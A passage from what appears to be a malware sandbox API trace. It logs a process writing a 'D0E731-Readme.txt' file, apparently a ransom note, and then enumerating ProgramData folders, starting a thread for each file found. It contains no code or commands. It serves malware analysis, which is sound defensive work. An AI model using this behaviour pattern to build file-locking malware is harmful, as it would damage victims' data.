Health\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\storage health\\d0e731-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x9d4 [0075.396] WriteFile (in: hFile=0x9d4, lpBuffer=0x33e3ba8*, nNumberOfBytesToWrite=0x481, lpNumberOfBytesWritten=0x1c63fbec, lpOverlapped=0x0 | out: lpBuffer=0x33e3ba8*, lpNumberOfBytesWritten=0x1c63fbec*=0x481, lpOverlapped=0x0) returned 1 [0075.397] CloseHandle (hObject=0x9d4) returned 1 [0075.397] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347f568) returned 1 [0075.397] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347bb70) returned 1 [0075.397] RtlExitUserThread (Status=0x1) Thread: id = 754 os_tid = 0x1214 [0075.398] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Storage Health\\StorageHealthModel.dat" (normalized: "c:\\users\\all users\\microsoft\\storage health\\storagehealthmodel.dat")) returned 0x20 [0075.400] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Storage Health\\StorageHealthModel.dat", dwFileAttributes=0x20) returned 0 [0075.400] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Storage Health\\StorageHealthModel.dat" (normalized: "c:\\users\\all users\\microsoft\\storage health\\storagehealthmodel.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0075.400] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Storage Health\\StorageHealthModel.dat", dwFileAttributes=0x20) returned 0 [0075.401] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e2f00) returned 1 [0075.401] RtlExitUserThread (Status=0x0) Thread: id = 755 os_tid = 0x1218 [0075.402] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x6c) returned 0x34799e8 [0075.402] wcscpy (in: _Dest=0x34799e8, _Source="C:\\Users\\All Users\\Microsoft\\SmsRouter\\MessageStore" | out: _Dest="C:\\Users\\All Users\\Microsoft\\SmsRouter\\MessageStore") returned="C:\\Users\\All Users\\Microsoft\\SmsRouter\\MessageStore" [0075.402] wcscat (in: _Dest=0x34799e8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\SmsRouter\\MessageStore\\") returned="C:\\Users\\All Users\\Microsoft\\SmsRouter\\MessageStore\\" [0075.402] wcscat (in: _Dest=0x34799e8, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\SmsRouter\\MessageStore\\*") returned="C:\\Users\\All Users\\Microsoft\\SmsRouter\\MessageStore\\*" [0075.402] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x33f6060 [0075.402] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\SmsRouter\\MessageStore\\*", lpFindFileData=0x33f6060 | out: lpFindFileData=0x33f6060*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1dcfea0a, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1b408c4a, ftLastAccessTime.dwHighDateTime=0x1d336e0, ftLastWriteTime.dwLowDateTime=0x1b408c4a, ftLastWriteTime.dwHighDateTime=0x1d336e0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3434568 [0075.403] wcscmp (_String1=".", _String2=".") returned 0 [0075.404] FindNextFileW (in: hFindFile=0x3434568, lpFindFileData=0x33f6060 | out: lpFindFileData=0x33f6060*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1dcfea0a, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1b408c4a, ftLastAccessTime.dwHighDateTime=0x1d336e0, ftLastWriteTime.dwLowDateTime=0x1b408c4a, ftLastWriteTime.dwHighDateTime=0x1d336e0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0075.404] wcscmp (_String1="..", _String2=".") returned 1 [0075.404] wcscmp (_String1="..", _String2="..") returned 0 [0075.404] FindNextFileW (in: hFindFile=0x3434568, lpFindFileData=0x33f6060 | out: lpFindFileData=0x33f6060*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1dd4ae8d, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1dd4ae8d, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1b93f8ea, ftLastWriteTime.dwHighDateTime=0x1d336e0, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="edb.chk", cAlternateFileName="")) returned 1 [0075.404] wcscmp (_String1="edb.chk", _String2=".") returned 1 [0075.404] wcscmp (_String1="edb.chk", _String2="..") returned 1 [0075.404] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x78) returned 0x33cca70 [0075.404] wcscpy (in: _Dest=0x33cca70, _Source="C:\\Users\\All Users\\Microsoft\\SmsRouter\\MessageStore" | out: _Dest="C:\\Users\\All Users\\Microsoft\\SmsRouter\\MessageStore") returned="C:\\Users\\All Users\\Microsoft\\SmsRouter\\MessageStore" [0075.404] wcscat (in: _Dest=0x33cca70, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\SmsRouter\\MessageStore\\") returned="C:\\Users\\All Users\\Microsoft\\SmsRouter\\MessageStore\\" [0075.404] wcscat (in: _Dest=0x33cca70, _Source="edb.chk" | out: _Dest="C:\\Users\\All Users\\Microsoft\\SmsRouter\\MessageStore\\edb.chk") returned="C:\\Users\\All Users\\Microsoft\\SmsRouter\\MessageStore\\edb.chk" [0076.613] Sleep (dwMilliseconds=0x1) [0076.622] Sleep (dwMilliseconds=0x1) [0077.643] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33cca70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9cc [0077.643] FindNextFileW (in: hFindFile=0x3434568, lpFindFileData=0x33f6060 | out: lpFindFileData=0x33f6060*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1dd24c5a, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1dec862e, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1b93f8ea, ftLastWriteTime.dwHighDateTime=0x1d336e0, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x0, dwReserved1=0x0, cFileName="edb.log", cAlternateFileName="")) returned 1 [0077.643] wcscmp (_String1="edb.log", _String2=".") returned 1 [0077.643] wcscmp (_String1="edb.log", _String2="..") returned 1 [0077.643] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x78) returned 0x33ccbf0 [0077.643] wcscpy (in: _Dest=0x33ccbf0, _Source="C:\\Users\\All Users\\Microsoft\\SmsRouter\\MessageStore" | out: _Dest="C:\\Users\\All Users\\Microsoft\\SmsRouter\\MessageStore") returned="C:\\Users\\All Users\\Microsoft\\SmsRouter\\MessageStore" [0077.643] wcscat (in: _Dest=0x33ccbf0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\SmsRouter\\MessageStore\\") returned="C:\\Users\\All Users\\Microsoft\\SmsRouter\\MessageStore\\" [0077.643] wcscat (in: _Dest=0x33ccbf0, _Source="edb.log" | out: _Dest="C:\\Users\\All Users\\Microsoft\\SmsRouter\\MessageStore\\edb.log") returned="C:\\Users\\All Users\\Microsoft\\SmsRouter\\MessageStore\\edb.log" [0077.643] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33ccbf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6dc [0077.644] FindNextFileW (in: hFindFile=0x3434568, lpFindFileData=0x33f6060 | out: lpFindFileData=0x33f6060*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1dd24c5a, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1dd4ae8d, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1b42ee8a, ftLastWriteTime.dwHighDateTime=0x1d336e0, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x0, dwReserved1=0x0, cFileName="edb00002.log", cAlternateFileName="")) returned 1 [0077.644] wcscmp (_String1="edb00002.log", _String2=".") returned 1 [0077.644] wcscmp (_String1="edb00002.log", _String2="..") returned 1 [0077.644] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x82) returned 0x33e2570 [0077.644] wcscpy (in: _Dest=0x33e2570, _Source="C:\\Users\\All Users\\Microsoft\\SmsRouter\\MessageStore" | out: _Dest="C:\\Users\\All Users\\Microsoft\\SmsRouter\\MessageStore") returned="C:\\Users\\All Users\\Microsoft\\SmsRouter\\MessageStore" [0077.644] wcscat (in: _Dest=0x33e2570, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\SmsRouter\\MessageStore\\") returned="C:\\Users\\All Users\\Microsoft\\SmsRouter\\MessageStore\\" [0077.644] wcscat (in: _Dest=0x33e2570, _Source="edb00002.log" | out: _Dest="C:\\Users\\All Users\\Microsoft\\SmsRouter\\MessageStore\\edb00002.log") returned="C:\\Users\\All Users\\Microsoft\\SmsRouter\\MessageStore\\edb00002.log" [0077.644] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33e2570, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x868 [0077.645] FindNextFileW (in: hFindFile=0x3434568, lpFindFileData=0x33f6060 | out: lpFindFileData=0x33f6060*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1dd4ae8d, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1dd4ae8d, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1dd4ae8d, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x0, dwReserved1=0x0, cFileName="edbres00001.jrs", cAlternateFileName="EDBRES~1.JRS")) returned 1 [0077.645] wcscmp (_String1="edbres00001.jrs", _String2=".") returned 1 [0077.645] wcscmp (_String1="edbres00001.jrs", _String2="..") returned 1 [0077.645] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x88) returned 0x33e2720 [0077.645] wcscpy (in: _Dest=0x33e2720, _Source="C:\\Users\\All Users\\Microsoft\\SmsRouter\\MessageStore" | out: _Dest="C:\\Users\\All Users\\Microsoft\\SmsRouter\\MessageStore") returned="C:\\Users\\All Users\\Microsoft\\SmsRouter\\MessageStore" [0077.645] wcscat (in: _Dest=0x33e2720, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\SmsRouter\\MessageStore\\") returned="C:\\Users\\All Users\\Microsoft\\SmsRouter\\MessageStore\\" [0077.645] wcscat (in: _Dest=0x33e2720, _Source="edbres00001.jrs" | out: _Dest="C:\\Users\\All Users\\Microsoft\\SmsRouter\\MessageStore\\edbres00001.jrs") returned="C:\\Users\\All Users\\Microsoft\\SmsRouter\\MessageStore\\edbres00001.jrs" [0077.645] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33e2720, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x704 [0077.646] FindNextFileW (in: hFindFile=0x3434568, lpFindFileData=0x33f6060 | out: lpFindFileData=0x33f6060*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1dd4ae8d, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1dd4ae8d, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1dd4ae8d, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x0, dwReserved1=0x0, cFileName="edbres00002.jrs", cAlternateFileName="EDBRES~2.JRS")) returned 1 [0077.646] wcscmp (_String1="edbres00002.jrs", _String2=".") returned 1 [0077.646] wcscmp (_String1="edbres00002.jrs", _String2="..") returned 1 [0077.646] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x88) returned 0x33e28d0 [0077.646] wcscpy (in: _Dest=0x33e28d0, _Source="C:\\Users\\All Users\\Microsoft\\SmsRouter\\MessageStore" | out: _Dest="C:\\Users\\All Users\\Microsoft\\SmsRouter\\MessageStore") returned="C:\\Users\\All Users\\Microsoft\\SmsRouter\\MessageStore" [0077.646] wcscat (in: _Dest=0x33e28d0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\SmsRouter\\MessageStore\\") returned="C:\\Users\\All Users\\Microsoft\\SmsRouter\\MessageStore\\" [0077.646] wcscat (in: _Dest=0x33e28d0, _Source="edbres00002.jrs" | out: _Dest="C:\\Users\\All Users\\Microsoft\\SmsRouter\\MessageStore\\edbres00002.jrs") returned="C:\\Users\\All Users\\Microsoft\\SmsRouter\\MessageStore\\edbres00002.jrs" [0077.646] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33e28d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x860 [0077.647] FindNextFileW (in: hFindFile=0x3434568, lpFindFileData=0x33f6060 | out: lpFindFileData=0x33f6060*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1dd24c5a, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1dd24c5a, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1deee89a, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x0, dwReserved1=0x0, cFileName="edbtmp.log", cAlternateFileName="")) returned 1 [0077.647] wcscmp (_String1="edbtmp.log", _String2=".") returned 1 [0077.647] wcscmp (_String1="edbtmp.log", _String2="..") returned 1 [0077.647] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x7e) returned 0x347edf8 [0077.647] wcscpy (in: _Dest=0x347edf8, _Source="C:\\Users\\All Users\\Microsoft\\SmsRouter\\MessageStore" | out: _Dest="C:\\Users\\All Users\\Microsoft\\SmsRouter\\MessageStore") returned="C:\\Users\\All Users\\Microsoft\\SmsRouter\\MessageStore" [0077.647] wcscat (in: _Dest=0x347edf8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\SmsRouter\\MessageStore\\") returned="C:\\Users\\All Users\\Microsoft\\SmsRouter\\MessageStore\\" [0077.647] wcscat (in: _Dest=0x347edf8, _Source="edbtmp.log" | out: _Dest="C:\\Users\\All Users\\Microsoft\\SmsRouter\\MessageStore\\edbtmp.log") returned="C:\\Users\\All Users\\Microsoft\\SmsRouter\\MessageStore\\edbtmp.log" [0077.647] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x347edf8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x858 [0077.648] FindNextFileW (in: hFindFile=0x3434568, lpFindFileData=0x33f6060 | out: lpFindFileData=0x33f6060*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1dd973cb, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1dd973cb, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1b74fcb1, ftLastWriteTime.dwHighDateTime=0x1d336e0, nFileSizeHigh=0x0, nFileSizeLow=0x30000, dwReserved0=0x0, dwReserved1=0x0, cFileName="SmsInterceptStore.db", cAlternateFileName="SMSINT~1.DB")) returned 1 [0077.648] wcscmp (_String1="SmsInterceptStore.db", _String2=".") returned 1 [0077.648] wcscmp (_String1="SmsInterceptStore.db", _String2="..") returned 1 [0077.648] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x92) returned 0x33eb590 [0077.648] wcscpy (in: _Dest=0x33eb590, _Source="C:\\Users\\All Users\\Microsoft\\SmsRouter\\MessageStore" | out: _Dest="C:\\Users\\All Users\\Microsoft\\SmsRouter\\MessageStore") returned="C:\\Users\\All Users\\Microsoft\\SmsRouter\\MessageStore" [0077.648] wcscat (in: _Dest=0x33eb590, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\SmsRouter\\MessageStore\\") returned="C:\\Users\\All Users\\Microsoft\\SmsRouter\\MessageStore\\" [0077.648] wcscat (in: _Dest=0x33eb590, _Source="SmsInterceptStore.db" | out: _Dest="C:\\Users\\All Users\\Microsoft\\SmsRouter\\MessageStore\\SmsInterceptStore.db") returned="C:\\Users\\All Users\\Microsoft\\SmsRouter\\MessageStore\\SmsInterceptStore.db" [0077.648] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33eb590, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x830 [0077.648] FindNextFileW (in: hFindFile=0x3434568, lpFindFileData=0x33f6060 | out: lpFindFileData=0x33f6060*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1dd7110f, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1dd7110f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1b74fcb1, ftLastWriteTime.dwHighDateTime=0x1d336e0, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x0, dwReserved1=0x0, cFileName="SmsInterceptStore.jfm", cAlternateFileName="SMSINT~1.JFM")) returned 1 [0077.649] wcscmp (_String1="SmsInterceptStore.jfm", _String2=".") returned 1 [0077.649] wcscmp (_String1="SmsInterceptStore.jfm", _String2="..") returned 1 [0077.649] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x94) returned 0x33eaaf0 [0077.649] wcscpy (in: _Dest=0x33eaaf0, _Source="C:\\Users\\All Users\\Microsoft\\SmsRouter\\MessageStore" | out: _Dest="C:\\Users\\All Users\\Microsoft\\SmsRouter\\MessageStore") returned="C:\\Users\\All Users\\Microsoft\\SmsRouter\\MessageStore" [0077.649] wcscat (in: _Dest=0x33eaaf0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\SmsRouter\\MessageStore\\") returned="C:\\Users\\All Users\\Microsoft\\SmsRouter\\MessageStore\\" [0077.649] wcscat (in: _Dest=0x33eaaf0, _Source="SmsInterceptStore.jfm" | out: _Dest="C:\\Users\\All Users\\Microsoft\\SmsRouter\\MessageStore\\SmsInterceptStore.jfm") returned="C:\\Users\\All Users\\Microsoft\\SmsRouter\\MessageStore\\SmsInterceptStore.jfm" [0077.649] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33eaaf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x82c [0077.649] FindNextFileW (in: hFindFile=0x3434568, lpFindFileData=0x33f6060 | out: lpFindFileData=0x33f6060*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1dd7110f, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1dd7110f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1b74fcb1, ftLastWriteTime.dwHighDateTime=0x1d336e0, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x0, dwReserved1=0x0, cFileName="SmsInterceptStore.jfm", cAlternateFileName="SMSINT~1.JFM")) returned 0 [0077.650] FindClose (in: hFindFile=0x3434568 | out: hFindFile=0x3434568) returned 1 [0077.650] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f6060) returned 1 [0077.650] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34799e8) returned 1 [0077.650] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347db60) returned 1 [0077.650] RtlExitUserThread (Status=0x0) Thread: id = 756 os_tid = 0x121c [0075.404] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x62) returned 0x347e030 [0075.404] wcscpy (in: _Dest=0x347e030, _Source="C:\\Users\\All Users\\Microsoft\\Settings\\Accounts" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Settings\\Accounts") returned="C:\\Users\\All Users\\Microsoft\\Settings\\Accounts" [0075.404] wcscat (in: _Dest=0x347e030, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Settings\\Accounts\\") returned="C:\\Users\\All Users\\Microsoft\\Settings\\Accounts\\" [0075.404] wcscat (in: _Dest=0x347e030, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Settings\\Accounts\\*") returned="C:\\Users\\All Users\\Microsoft\\Settings\\Accounts\\*" [0075.404] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x33f3510 [0075.404] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Settings\\Accounts\\*", lpFindFileData=0x33f3510 | out: lpFindFileData=0x33f3510*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbe30ecb9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17cbb4ff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x34345a8 [0075.404] wcscmp (_String1=".", _String2=".") returned 0 [0075.404] FindNextFileW (in: hFindFile=0x34345a8, lpFindFileData=0x33f3510 | out: lpFindFileData=0x33f3510*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbe30ecb9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17cbb4ff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0075.405] wcscmp (_String1="..", _String2=".") returned 1 [0075.405] wcscmp (_String1="..", _String2="..") returned 0 [0075.405] FindNextFileW (in: hFindFile=0x34345a8, lpFindFileData=0x33f3510 | out: lpFindFileData=0x33f3510*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbe30ecb9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17cbb4ff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0075.405] FindClose (in: hFindFile=0x34345a8 | out: hFindFile=0x34345a8) returned 1 [0075.405] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f3510) returned 1 [0075.405] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347e030) returned 1 [0075.405] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3426d28) returned 1 [0075.405] RtlExitUserThread (Status=0x0) Thread: id = 757 os_tid = 0x1220 [0075.407] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x56) returned 0x347ff40 [0075.407] wcscpy (in: _Dest=0x347ff40, _Source="C:\\Users\\All Users\\Microsoft\\Search\\Data" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Search\\Data") returned="C:\\Users\\All Users\\Microsoft\\Search\\Data" [0075.407] wcscat (in: _Dest=0x347ff40, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Search\\Data\\") returned="C:\\Users\\All Users\\Microsoft\\Search\\Data\\" [0075.407] wcscat (in: _Dest=0x347ff40, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Search\\Data\\*") returned="C:\\Users\\All Users\\Microsoft\\Search\\Data\\*" [0075.407] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x33f3510 [0075.407] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\*", lpFindFileData=0x33f3510 | out: lpFindFileData=0x33f3510*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2f068b0c, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x768c9439, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x768c9439, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x34345a8 [0075.408] wcscmp (_String1=".", _String2=".") returned 0 [0075.408] FindNextFileW (in: hFindFile=0x34345a8, lpFindFileData=0x33f3510 | out: lpFindFileData=0x33f3510*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2f068b0c, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x768c9439, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x768c9439, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0075.408] wcscmp (_String1="..", _String2=".") returned 1 [0075.408] wcscmp (_String1="..", _String2="..") returned 0 [0075.408] FindNextFileW (in: hFindFile=0x34345a8, lpFindFileData=0x33f3510 | out: lpFindFileData=0x33f3510*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x768c9439, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x769ae22f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x769ae22f, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Applications", cAlternateFileName="APPLIC~1")) returned 1 [0075.408] wcscmp (_String1="Applications", _String2=".") returned 1 [0075.408] wcscmp (_String1="Applications", _String2="..") returned 1 [0075.408] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x6c) returned 0x3479f10 [0075.408] wcscpy (in: _Dest=0x3479f10, _Source="C:\\Users\\All Users\\Microsoft\\Search\\Data" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Search\\Data") returned="C:\\Users\\All Users\\Microsoft\\Search\\Data" [0075.408] wcscat (in: _Dest=0x3479f10, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Search\\Data\\") returned="C:\\Users\\All Users\\Microsoft\\Search\\Data\\" [0075.408] wcscat (in: _Dest=0x3479f10, _Source="Applications" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications") returned="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications" [0076.613] Sleep (dwMilliseconds=0x1) [0076.622] Sleep (dwMilliseconds=0x1) [0077.651] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x3479f10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9d4 [0077.652] FindNextFileW (in: hFindFile=0x34345a8, lpFindFileData=0x33f3510 | out: lpFindFileData=0x33f3510*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2f173b05, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x2b7d74b9, ftLastAccessTime.dwHighDateTime=0x1d336e0, ftLastWriteTime.dwLowDateTime=0x2b7d74b9, ftLastWriteTime.dwHighDateTime=0x1d336e0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Temp", cAlternateFileName="")) returned 1 [0077.652] wcscmp (_String1="Temp", _String2=".") returned 1 [0077.652] wcscmp (_String1="Temp", _String2="..") returned 1 [0077.652] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x5c) returned 0x3427410 [0077.652] wcscpy (in: _Dest=0x3427410, _Source="C:\\Users\\All Users\\Microsoft\\Search\\Data" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Search\\Data") returned="C:\\Users\\All 